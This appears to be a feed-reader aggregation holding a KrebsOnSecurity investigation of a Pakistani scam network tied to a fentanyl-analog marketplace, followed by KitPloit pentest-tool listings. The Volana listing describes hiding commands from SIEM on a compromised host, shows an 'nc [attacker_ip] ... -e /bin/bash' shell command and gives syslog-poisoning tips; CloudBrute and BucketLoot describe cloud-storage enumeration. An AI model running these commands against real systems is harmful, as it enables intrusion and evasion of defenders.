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☐ β˜† βœ‡ Krebs on Security

Pakistani Firm Shipped Fentanyl Analogs, Scams to US

By: BrianKrebs β€” May 7th 2025 at 22:22

A Texas firm recently charged with conspiring to distribute synthetic opioids in the United States is at the center of a vast network of companies in the U.S. and Pakistan whose employees are accused of using online ads to scam westerners seeking help with trademarks, book writing, mobile app development and logo designs, a new investigation reveals.

In an indictment (PDF) unsealed last month, the U.S. Department of Justice said Dallas-based eWorldTrade β€œoperated an online business-to-business marketplace that facilitated the distribution of synthetic opioids such as isotonitazene and carfentanyl, both significantly more potent than fentanyl.”

Launched in 2017, eWorldTrade[.]com now features a seizure notice from the DOJ. eWorldTrade operated as a wholesale seller of consumer goods, including clothes, machinery, chemicals, automobiles and appliances. The DOJ’s indictment includes no additional details about eWorldTrade’s business, origins or other activity, and at first glance the website might appear to be a legitimate e-commerce platform that also just happened to sell some restricted chemicals

A screenshot of the eWorldTrade homepage on March 25, 2025. Image: archive.org.

However, an investigation into the company’s founders reveals they are connected to a sprawling network of websites that have a history of extortionate scams involving trademark registration, book publishing, exam preparation, and the design of logos, mobile applications and websites.

Records from the U.S. Patent and Trademark Office (USPTO) show the eWorldTrade mark is owned by an Azneem Bilwani in Karachi (this name also is in the registration records for the now-seized eWorldTrade domain). Mr. Bilwani is perhaps better known as the director of the Pakistan-based IT provider Abtach Ltd., which has been singled out by the USPTO and Google for operating trademark registration scams (the main offices for eWorldtrade and Abtach share the same address in Pakistan).

In November 2021, the USPTO accused Abtach of perpetrating β€œan egregious scheme to deceive and defraud applicants for federal trademark registrations by improperly altering official USPTO correspondence, overcharging application filing fees, misappropriating the USPTO’s trademarks, and impersonating the USPTO.”

Abtach offered trademark registration at suspiciously low prices compared to legitimate costs of over USD $1,500, and claimed they could register a trademark in 24 hours. Abtach reportedly rebranded to Intersys Limited after the USPTO banned Abtach from filing any more trademark applications.

In a note published to its LinkedIn profile, Intersys Ltd. asserted last year that certain scam firms in Karachi were impersonating the company.

FROM AXACT TO ABTACH

Many of Abtach’s employees are former associates of a similar company in Pakistan called Axact that was targeted by Pakistani authorities in a 2015 fraud investigation. Axact came under law enforcement scrutiny after The New York Times ran a front-page story about the company’s most lucrative scam business: Hundreds of sites peddling fake college degrees and diplomas.

People who purchased fake certifications were subsequently blackmailed by Axact employees posing as government officials, who would demand additional payments under threats of prosecution or imprisonment for having bought fraudulent β€œunauthorized” academic degrees. This practice created a continuous cycle of extortion, internally referred to as β€œupselling.”

β€œAxact took money from at least 215,000 people in 197 countries β€” one-third of them from the United States,” The Times reported. β€œSales agents wielded threats and false promises and impersonated government officials, earning the company at least $89 million in its final year of operation.”

Dozens of top Axact employees were arrested, jailed, held for months, tried and sentenced to seven years for various fraud violations. But a 2019 research brief on Axact’s diploma mills found none of those convicted had started their prison sentence, and that several had fled Pakistan and never returned.

β€œIn October 2016, a Pakistan district judge acquitted 24 Axact officials at trial due to β€˜not enough evidence’ and then later admitted he had accepted a bribe (of $35,209) from Axact,” reads a history (PDF) published by the American Association of Collegiate Registrars and Admissions Officers.

In 2021, Pakistan’s Federal Investigation Agency (FIA) charged Bilwani and nearly four dozen others β€” many of them Abtach employees β€” with running an elaborate trademark scam. The authorities called it β€œthe biggest money laundering case in the history of Pakistan,” and named a number of businesses based in Texas that allegedly helped move the proceeds of cybercrime.

A page from the March 2021 FIA report alleging that Digitonics Labs and Abtach employees conspired to extort and defraud consumers.

The FIA said the defendants operated a large number of websites offering low-cost trademark services to customers, before then β€œignoring them after getting the funds and later demanding more funds from clients/victims in the name of up-sale (extortion).” The Pakistani law enforcement agency said that about 75 percent of customers received fake or fabricated trademarks as a result of the scams.

The FIA found Abtach operates in conjunction with a Karachi firm called Digitonics Labs, which earned a monthly revenue of around $2.5 million through the β€œextortion of international clients in the name of up-selling, the sale of fake/fabricated USPTO certificates, and the maintaining of phishing websites.”

According the Pakistani authorities, the accused also ran countless scams involving ebook publication and logo creation, wherein customers are subjected to advance-fee fraud and extortion β€” with the scammers demanding more money for supposed β€œcopyright release” and threatening to release the trademark.

Also charged by the FIA was Junaid Mansoor, the owner of Digitonics Labs in Karachi. Mansoor’s U.K.-registered company Maple Solutions Direct Limited has run at least 700 ads for logo design websites since 2015, the Google Ads Transparency page reports. The company has approximately 88 ads running on Google as of today.Β 

Junaid Mansoor. Source: youtube/@Olevelsβ€€com School.

Mr. Mansoor is actively involved with and promoting a Quran study business called quranmasteronline[.]com, which was founded by Junaid’s brother Qasim Mansoor (Qasim is also named in the FIA criminal investigation). The Google ads promoting quranmasteronline[.]com were paid for by the same account advertising a number of scam websites selling logo and web design services.Β 

Junaid Mansoor did not respond to requests for comment. An address in Teaneck, New Jersey where Mr. Mansoor previously lived is listed as an official address of exporthub[.]com, a Pakistan-based e-commerce website that appears remarkably similar to eWorldTrade (Exporthub says its offices are in Texas). Interestingly, a search in Google for this domain shows ExportHub currently features multiple listings for fentanyl citrate from suppliers in China and elsewhere.

The CEO of Digitonics Labs is Muhammad Burhan Mirza, a former Axact official who was arrested by the FIA as part of its money laundering and trademark fraud investigation in 2021. In 2023, prosecutors in Pakistan charged Mirza, Mansoor and 14 other Digitonics employees with fraud, impersonating government officials, phishing, cheating and extortion. Mirza’s LinkedIn profile says he currently runs an educational technology/life coach enterprise called TheCoach360, which purports to help young kids β€œachieve financial independence.”

Reached via LinkedIn, Mr. Mirza denied having anything to do with eWorldTrade or any of its sister companies in Texas.

β€œMoreover, I have no knowledge as to the companies you have mentioned,” said Mr. Mirza, who did not respond to follow-up questions.

The current disposition of the FIA’s fraud case against the defendants is unclear. The investigation was marred early on by allegations of corruption and bribery. In 2021, Pakistani authorities alleged Bilwani paid a six-figure bribe to FIA investigators. Meanwhile, attorneys for Mr. Bilwani have argued that although their client did pay a bribe, the payment was solicited by government officials. Mr. Bilwani did not respond to requests for comment.

THE TEXAS NEXUS

KrebsOnSecurity has learned that the people and entities at the center of the FIA investigations have built a significant presence in the United States, with a strong concentration in Texas. The Texas businesses promote websites that sell logo and web design, ghostwriting, and academic cheating services. Many of these entities have recently been sued for fraud and breach of contract by angry former customers, who claimed the companies relentlessly upsold them while failing to produce the work as promised.

For example, the FIA complaints named Retrocube LLC and 360 Digital Marketing LLC, two entities that share a street address with eWorldTrade: 1910 Pacific Avenue, Suite 8025, Dallas, Texas. Also incorporated at that Pacific Avenue address is abtach[.]ae, a web design and marketing firm based in Dubai; and intersyslimited[.]com, the new name of Abtach after they were banned by the USPTO. Other businesses registered at this address market services for logo design, mobile app development, and ghostwriting.

A list published in 2021 by Pakistan’s FIA of different front companies allegedly involved in scamming people who are looking for help with trademarks, ghostwriting, logos and web design.

360 Digital Marketing’s website 360digimarketing[.]com is owned by an Abtach front company called Abtech LTD. Meanwhile, business records show 360 Digi Marketing LTD is a U.K. company whose officers include former Abtach director Bilwani; Muhammad Saad Iqbal, formerly Abtach, now CEO of Intersys Ltd; Niaz Ahmed, a former Abtach associate; and Muhammad Salman Yousuf, formerly a vice president at Axact, Abtach, and Digitonics Labs.

Google’s Ads Transparency Center finds 360 Digital Marketing LLC ran at least 500 ads promoting various websites selling ghostwriting services . Another entity tied to Junaid Mansoor β€” a company called Octa Group Technologies AU β€” has run approximately 300 Google ads for book publishing services, promoting confusingly named websites like amazonlistinghub[.]com and barnesnoblepublishing[.]co.

360 Digital Marketing LLC ran approximately 500 ads for scam ghostwriting sites.

Rameez Moiz is a Texas resident and former Abtach product manager who has represented 360 Digital Marketing LLC and RetroCube. Moiz told KrebsOnSecurity he stopped working for 360 Digital Marketing in the summer of 2023. Mr. Moiz did not respond to follow-up questions, but an Upwork profile for him states that as of April 2025 he is employed by Dallas-based Vertical Minds LLC.

In April 2025, California resident Melinda Will sued the Texas firm Majestic Ghostwriting β€” which is doing business as ghostwritingsquad[.]com β€”Β  alleging they scammed her out of $100,000 after she hired them to help write her book. Google’s ad transparency page shows Moiz’s employer Vertical Minds LLC paid to run approximately 55 ads for ghostwritingsquad[.]comΒ and related sites.

Google’s ad transparency listing for ghostwriting ads paid for by Vertical Minds LLC.

VICTIMS SPEAK OUT

Ms. Will’s lawsuit is just one of more than two dozen complaints over the past four years wherein plaintiffs sued one of this group’s web design, wiki editing or ghostwriting services. In 2021, a New Jersey man sued Octagroup Technologies, alleging they ripped him off when he paid a total of more than $26,000 for the design and marketing of a web-based mapping service.

The plaintiff in that case did not respond to requests for comment, but his complaint alleges Octagroup and a myriad other companies it contracted with produced minimal work product despite subjecting him to relentless upselling. That case was decided in favor of the plaintiff because the defendants never contested the matter in court.

In 2023, 360 Digital Marketing LLC and Retrocube LLC were sued by a woman who said they scammed her out of $40,000 over a book she wanted help writing. That lawsuit helpfully showed an image of the office front door at 1910 Pacific Ave Suite 8025, which featured the logos of 360 Digital Marketing, Retrocube, and eWorldTrade.

The front door at 1910 Pacific Avenue, Suite 8025, Dallas, Texas.

The lawsuit was filed pro se by Leigh Riley, a 64-year-old career IT professional who paid 360 Digital Marketing to have a company called Talented Ghostwriter co-author and promote a series of books she’d outlined on spirituality and healing.

β€œThe main reason I hired them was because I didn’t understand what I call the formula for writing a book, and I know there’s a lot of marketing that goes into publishing,” Riley explained in an interview. β€œI know nothing about that stuff, and these guys were convincing that they could handle all aspects of it. Until I discovered they couldn’t write a damn sentence in English properly.”

Riley’s well-documented lawsuit (not linked here because it features a great deal of personal information) includes screenshots of conversations with the ghostwriting team, which was constantly assigning her to new writers and editors, and ghosting her on scheduled conference calls about progress on the project. Riley said she ended up writing most of the book herself because the work they produced was unusable.

β€œFinally after months of promising the books were printed and on their way, they show up at my doorstep with the wrong title on the book,” Riley said. When she demanded her money back, she said the people helping her with the website to promote the book locked her out of the site.

A conversation snippet from Leigh Riley’s lawsuit against Talented Ghostwriter, aka 360 Digital Marketing LLC. β€œOther companies once they have you money they don’t even respond or do anything,” the ghostwriting team manager explained.

Riley decided to sue, naming 360 Digital Marketing LLC and Retrocube LLC, among others.Β  The companies offered to settle the matter for $20,000, which she accepted. β€œI didn’t have money to hire a lawyer, and I figured it was time to cut my losses,” she said.

Riley said she could have saved herself a great deal of headache by doing some basic research on Talented Ghostwriter, whose website claims the company is based in Los Angeles. According to the California Secretary of State, however, there is no registered entity by that name. Rather, the address claimed by talentedghostwriter[.]com is a vacant office building with a β€œspace available” sign in the window.

California resident Walter Horsting discovered something similar when heΒ sued 360 Digital Marketing in small claims court last year, after hiring a company called Vox Ghostwriting to help write, edit and promote a spy novel he’d been working on. Horsting said he paid Vox $3,300 to ghostwrite a 280-page book, and was upsold an Amazon marketing and publishing package for $7,500.

In an interview, Horsting said the prose that Vox Ghostwriting produced was β€œjuvenile at best,” forcing him to rewrite and edit the work himself, and to partner with a graphical artist to produce illustrations. Horsting said that when it came time to begin marketing the novel, Vox Ghostwriting tried to further upsell him on marketing packages, while dodging scheduled meetings with no follow-up.

β€œThey have a money back guarantee, and when they wouldn’t refund my money I said I’m taking you to court,” Horsting recounted. β€œI tried to serve them in Los Angeles but found no such office exists. I talked to a salon next door and they said someone else had recently shown up desperately looking for where the ghostwriting company went, and it appears there are a trail of corpses on this. I finally tracked down where they are in Texas.”

It was the same office that Ms. Riley served her lawsuit against. Horsting said he has a court hearing scheduled later this month, but he’s under no illusions that winning the case means he’ll be able to collect.

β€œAt this point, I’m doing it out of pride more than actually expecting anything to come to good fortune for me,” he said.

The following mind map was helpful in piecing together key events, individuals and connections mentioned above. It’s important to note that this graphic only scratches the surface of the operations tied to this group. For example, in Case 2 we can see mention of academic cheating services, wherein people can be hired to take online proctored exams on one’s behalf. Those who hire these services soon find themselves subject to impersonation and blackmail attempts for larger and larger sums of money, with the threat of publicly exposing their unethical academic cheating activity.

A β€œmind map” illustrating the connections between and among entities referenced in this story. Click to enlarge.

GOOGLE RESPONDS

KrebsOnSecurity reviewed the Google Ad Transparency links for nearly 500 different websites tied to this network of ghostwriting, logo, app and web development businesses. Those website names were then fed into spyfu.com, a competitive intelligence company that tracks the reach and performance of advertising keywords. Spyfu estimates that between April 2023 and April 2025, those websites spent more than $10 million on Google ads.

Reached for comment, Google said in a written statement that it is constantly policing its ad network for bad actors, pointing to an ads safety report (PDF) showing Google blocked or removed 5.1 billion bad ads last year β€” including more than 500 million ads related to trademarks.

β€œOur policy against Enabling Dishonest Behavior prohibits products or services that help users mislead others, including ads for paper-writing or exam-taking services,” the statement reads. β€œWhen we identify ads or advertisers that violate our policies, we take action, including by suspending advertiser accounts, disapproving ads, and restricting ads to specific domains when appropriate.”

Google did not respond to specific questions about the advertising entities mentioned in this story, saying only that β€œwe are actively investigating this matter and addressing any policy violations, including suspending advertiser accounts when appropriate.”

From reviewing the ad accounts that have been promoting these scam websites, it appears Google has very recently acted to remove a large number of the offending ads. Prior to my notifying Google about the extent of this ad network on April 28, the Google Ad Transparency network listed over 500 ads for 360 Digital Marketing; as of this publication, that number had dwindled to 10.

On April 30, Google announced that starting this month its ads transparency page will display the payment profile name as the payer name for verified advertisers, if that name differs from their verified advertiser name. Searchengineland.com writes the changes are aimed at increasing accountability in digital advertising.

This spreadsheet lists the domain names, advertiser names, and Google Ad Transparency links for more than 350 entities offering ghostwriting, publishing, web design and academic cheating services.

KrebsOnSecurity would like to thank the anonymous security researcher NatInfoSec for their assistance in this investigation.

For further reading on Abtach and its myriad companies in all of the above-mentioned verticals (ghostwriting, logo design, etc.), see this Wikiwand entry.

☐ β˜† βœ‡ KitPloit - PenTest Tools!

CloudBrute - Awesome Cloud Enumerator

By: Unknown β€” June 25th 2024 at 12:30


A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). The outcome is useful for bug bounty hunters, red teamers, and penetration testers alike.

The complete writeup is available. here


Motivation

we are always thinking of something we can automate to make black-box security testing easier. We discussed this idea of creating a multiple platform cloud brute-force hunter.mainly to find open buckets, apps, and databases hosted on the clouds and possibly app behind proxy servers.
Here is the list issues on previous approaches we tried to fix:

  • separated wordlists
  • lack of proper concurrency
  • lack of supporting all major cloud providers
  • require authentication or keys or cloud CLI access
  • outdated endpoints and regions
  • Incorrect file storage detection
  • lack support for proxies (useful for bypassing region restrictions)
  • lack support for user agent randomization (useful for bypassing rare restrictions)
  • hard to use, poorly configured

Features

  • Cloud detection (IPINFO API and Source Code)
  • Supports all major providers
  • Black-Box (unauthenticated)
  • Fast (concurrent)
  • Modular and easily customizable
  • Cross Platform (windows, linux, mac)
  • User-Agent Randomization
  • Proxy Randomization (HTTP, Socks5)

Supported Cloud Providers

Microsoft: - Storage - Apps

Amazon: - Storage - Apps

Google: - Storage - Apps

DigitalOcean: - storage

Vultr: - Storage

Linode: - Storage

Alibaba: - Storage

Version

1.0.0

Usage

Just download the latest release for your operation system and follow the usage.

To make the best use of this tool, you have to understand how to configure it correctly. When you open your downloaded version, there is a config folder, and there is a config.YAML file in there.

It looks like this

providers: ["amazon","alibaba","amazon","microsoft","digitalocean","linode","vultr","google"] # supported providers
environments: [ "test", "dev", "prod", "stage" , "staging" , "bak" ] # used for mutations
proxytype: "http" # socks5 / http
ipinfo: "" # IPINFO.io API KEY

For IPINFO API, you can register and get a free key at IPINFO, the environments used to generate URLs, such as test-keyword.target.region and test.keyword.target.region, etc.

We provided some wordlist out of the box, but it's better to customize and minimize your wordlists (based on your recon) before executing the tool.

After setting up your API key, you are ready to use CloudBrute.

 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•
β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•
β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β•šβ•β•β•β•β•β•β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β•β•β•β•β•β•
V 1.0.7
usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>"
-w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads
<integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"]
[-a|--randomagent "<value>"] [-D|--debug] [-q|--quite]
[-m|--mode "<value>"] [-o|--output "<value>"]
[-C|--configFolder "<value>"]

Awesome Cloud Enumerator

Arguments:

-h --help Print help information
-d --domain domain
-k --keyword keyword used to generator urls
-w --wordlist path to wordlist
-c --cloud force a search, check config.yaml providers list
-t --threads number of threads. Default: 80
-T --timeout timeout per request in seconds. Default: 10
-p --proxy use proxy list
-a --randomagent user agent randomization
-D --debug show debug logs. Default: false
-q --quite suppress all output. Default: false
-m --mode storage or app. Default: storage
-o --output Output file. Default: out.txt
-C --configFolder Config path. Default: config


for example

CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

please note -k keyword used to generate URLs, so if you want the full domain to be part of mutation, you have used it for both domain (-d) and keyword (-k) arguments

If a cloud provider not detected or want force searching on a specific provider, you can use -c option.

CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

Dev

  • Clone the repo
  • go build -o CloudBrute main.go
  • go test internal

in action

How to contribute

  • Add a module or fix something and then pull request.
  • Share it with whomever you believe can use it.
  • Do the extra work and share your findings with community β™₯

FAQ

How to make the best out of this tool?

Read the usage.

I get errors; what should I do?

Make sure you read the usage correctly, and if you think you found a bug open an issue.

When I use proxies, I get too many errors, or it's too slow?

It's because you use public proxies, use private and higher quality proxies. You can use ProxyFor to verify the good proxies with your chosen provider.

too fast or too slow ?

change -T (timeout) option to get best results for your run.

Credits

Inspired by every single repo listed here .



☐ β˜† βœ‡ KitPloit - PenTest Tools!

Volana - Shell Command Obfuscation To Avoid Detection Systems

By: Unknown β€” June 19th 2024 at 12:30


Shell command obfuscation to avoid SIEM/detection system

During pentest, an important aspect is to be stealth. For this reason you should clear your tracks after your passage. Nevertheless, many infrastructures log command and send them to a SIEM in a real time making the afterwards cleaning part alone useless.

volana provide a simple way to hide commands executed on compromised machine by providing it self shell runtime (enter your command, volana executes for you). Like this you clear your tracks DURING your passage


Usage

You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed

## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana

## Execute it
./volana

## You are now under the radar
volana Β» echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana Β» [command]

Keyword for volana console: * ring: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit: exit volana console

from non interactive shell

Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt and decrypt subcommand. Previously, you need to build volana with embedded encryption key.

On attacker machine

## Build volana with encryption key
make build.volana-with-encryption

## Transfer it on TARGET (the unique detectable command)
## [...]

## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND

Copy encrypted command and executed it with your rce on target machine

./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)

Why not just hide command with echo [command] | base64 ? And decode on target with echo [encoded_command] | base64 -d | bash

Because we want to be protected against systems that trigger alert for base64 use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.

Detection

Keep in mind that volana is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.

By detected we mean if we are able to trigger an alert if a certain command has been executed.

Hide from

Only the volana launching command line will be catched. 🧠 However, by adding a space before executing it, the default bash behavior is to not save it

  • Detection systems that are based on history command output
  • Detection systems that are based on history files
  • .bash_history, ".zsh_history" etc ..
  • Detection systems that are based on bash debug traps
  • Detection systems that are based on sudo built-in logging system
  • Detection systems tracing all processes syscall system-wide (eg opensnoop)
  • Terminal (tty) recorder (script, screen -L, sexonthebash, ovh-ttyrec, etc..)
  • Easy to detect & avoid: pkill -9 script
  • Not a common case
  • screen is a bit more difficult to avoid, however it does not register input (secret input: stty -echo => avoid)
  • Command detection Could be avoid with volana with encryption

Visible for

  • Detection systems that have alert for unknown command (volana one)
  • Detection systems that are based on keylogger
  • Easy to avoid: copy/past commands
  • Not a common case
  • Detection systems that are based on syslog files (e.g. /var/log/auth.log)
  • Only for sudo or su commands
  • syslog file could be modified and thus be poisoned as you wish (e.g for /var/log/auth.log:logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")
  • Detection systems that are based on syscall (eg auditd,LKML/eBPF)
  • Difficult to analyze, could be make unreadable by making several diversion syscalls
  • Custom LD_PRELOAD injection to make log
  • Not a common case at all

Bug bounty

Sorry for the clickbait title, but no money will be provided for contibutors. πŸ›

Let me know if you have found: * a way to detect volana * a way to spy console that don't detect volana commands * a way to avoid a detection system

Report here

Credit



☐ β˜† βœ‡ KitPloit - PenTest Tools!

C2-Tracker - Live Feed Of C2 Servers, Tools, And Botnets

By: Zion3R β€” April 24th 2024 at 02:23


Free to use IOC feed for various tools/malware. It started out for just C2 tools but has morphed into tracking infostealers and botnets as well. It uses shodan.io/">Shodan searches to collect the IPs. The most recent collection is always stored in data; the IPs are broken down by tool and there is an all.txt.

The feed should update daily. Actively working on making the backend more reliable


Honorable Mentions

Many of the Shodan queries have been sourced from other CTI researchers:

Huge shoutout to them!

Thanks to BertJanCyber for creating the KQL query for ingesting this feed

And finally, thanks to Y_nexro for creating C2Live in order to visualize the data

What do I track?

Running Locally

If you want to host a private version, put your Shodan API key in an environment variable called SHODAN_API_KEY

echo SHODAN_API_KEY=API_KEY >> ~/.bashrc
bash
python3 -m pip install -r requirements.txt
python3 tracker.py

Contributing

I encourage opening an issue/PR if you know of any additional Shodan searches for identifying adversary infrastructure. I will not set any hard guidelines around what can be submitted, just know, fidelity is paramount (high true/false positive ratio is the focus).

References



☐ β˜† βœ‡ KitPloit - PenTest Tools!

Toolkit - The Essential Toolkit For Reversing, Malware Analysis, And Cracking

By: Zion3R β€” April 14th 2024 at 21:24


This tool compilation is carefully crafted with the purpose of being useful both for the beginners and veterans from the malware analysis world. It has also proven useful for people trying their luck at the cracking underworld.

It's the ideal complement to be used with the manuals from the site, and to play with the numbered theories mirror.


Advantages

To be clear, this pack is thought to be the most complete and robust in existence. Some of the pros are:

  1. It contains all the basic (and not so basic) tools that you might need in a real life scenario, be it a simple or a complex one.

  2. The pack is integrated with an Universal Updater made by us from scratch. Thanks to that, we get to mantain all the tools in an automated fashion.

  3. It's really easy to expand and modify: you just have to update the file bin\updater\tools.ini to integrate the tools you use to the updater, and then add the links for your tools to bin\sendto\sendto, so they appear in the context menus.

  4. The installer sets up everything we might need automatically - everything, from the dependencies to the environment variables, and it can even add a scheduled task to update the whole pack of tools weekly.

Installation

  1. You can simply download the stable versions from the release section, where you can also find the installer.

  2. Once downloaded, you can update the tools with the Universal Updater that we specifically developed for that sole purpose.
    You will find the binary in the folder bin\updater\updater.exe.

Tool set

This toolkit is composed by 98 apps that cover everything we might need to perform reverse engineering and binary/malware analysis.
Every tool has been downloaded from their original/official websites, but we still recommend you to use them with caution, specially those tools whose official pages are forum threads. Always exercise common sense.
You can check the complete list of tools here.

About contributions

Pull Requests are welcome. If you'd want to propose big changes, you should first create an Issue about it, so we all can analyze and discuss it. The tools are compressed with 7-zip, and the format used for nomenclature is {name} - {version}.7z



☐ β˜† βœ‡ KitPloit - PenTest Tools!

BucketLoot - An Automated S3-compatible Bucket Inspector

By: Zion3R β€” January 29th 2024 at 11:30


BucketLoot is an automated S3-compatible Bucket inspector that can help users extract assets, flag secret exposures and even search for custom keywords as well as Regular Expressions from publicly-exposed storage buckets by scanning files that store data in plain-text.

The tool can scan for buckets deployed on Amazon Web Services (AWS), Google Cloud Storage (GCS), DigitalOcean Spaces and even custom domains/URLs which could be connected to these platforms. It returns the output in a JSON format, thus enabling users to parse it according to their liking or forward it to any other tool for further processing.

BucketLoot comes with a guest mode by default, which means a user doesn't needs to specify any API tokens / Access Keys initially in order to run the scan. The tool will scrape a maximum of 1000 files that are returned in the XML response and if the storage bucket contains more than 1000 entries which the user would like to run the scanner on, they can provide platform credentials to run a complete scan. If you'd like to know more about the tool, make sure to check out our blog.

Features

Secret Scanning

Scans for over 80+ unique RegEx signatures that can help in uncovering secret exposures tagged with their severity from the misconfigured storage bucket. Users have the ability to modify or add their own signatures in the regexes.json file. If you believe you have any cool signatures which might be helpful for others too and could be flagged at scale, go ahead and make a PR!

Sensitive File Checks

Accidental sensitive file leakages are a big problem that affects the security posture of individuals and organisations. BucketLoot comes with a 80+ unique regEx signatures list in vulnFiles.json which allows users to flag these sensitive files based on file names or extensions.

Dig Mode

Want to quickly check if any target website is using a misconfigured bucket that is leaking secrets or any other sensitive data? Dig Mode allows you to pass non-S3 targets and let the tool scrape URLs from response body for scanning.

Asset Extraction

Interested in stepping up your asset discovery game? BucketLoot extracts all the URLs/Subdomains and Domains that could be present in an exposed storage bucket, enabling you to have a chance of discovering hidden endpoints, thus giving you an edge over the other traditional recon tools.

Searching

The tool goes beyond just asset discovery and secret exposure scanning by letting users search for custom keywords and even Regular Expression queries which may help them find exactly what they are looking for.

To know more about our Attack Surface Management platform, check out NVADR.



☐ β˜† βœ‡ KitPloit - PenTest Tools!

Spoofy - Program That Checks If A List Of Domains Can Be Spoofed Based On SPF And DMARC Records

By: Zion3R β€” October 11th 2023 at 18:26



Spoofy is a program that checks if a list of domains can be spoofed based on SPF and DMARC records. You may be asking, "Why do we need another tool that can check if a domain can be spoofed?"

Well, Spoofy is different and here is why:

  1. Authoritative lookups on all lookups with known fallback (Cloudflare DNS)
  2. Accurate bulk lookups
  3. Custom, manually tested spoof logic (No guessing or speculating, real world test results)
  4. SPF lookup counter

Β 

HOW TO USE

Spoofy requires Python 3+. Python 2 is not supported. Usage is shown below:

Usage:
./spoofy.py -d [DOMAIN] -o [stdout or xls]
OR
./spoofy.py -iL [DOMAIN_LIST] -o [stdout or xls]

Install Dependencies:
pip3 install -r requirements.txt

HOW DO YOU KNOW ITS SPOOFABLE

(The spoofability table lists every combination of SPF and DMARC configurations that impact deliverability to the inbox, except for DKIM modifiers.) Download Here

METHODOLOGY

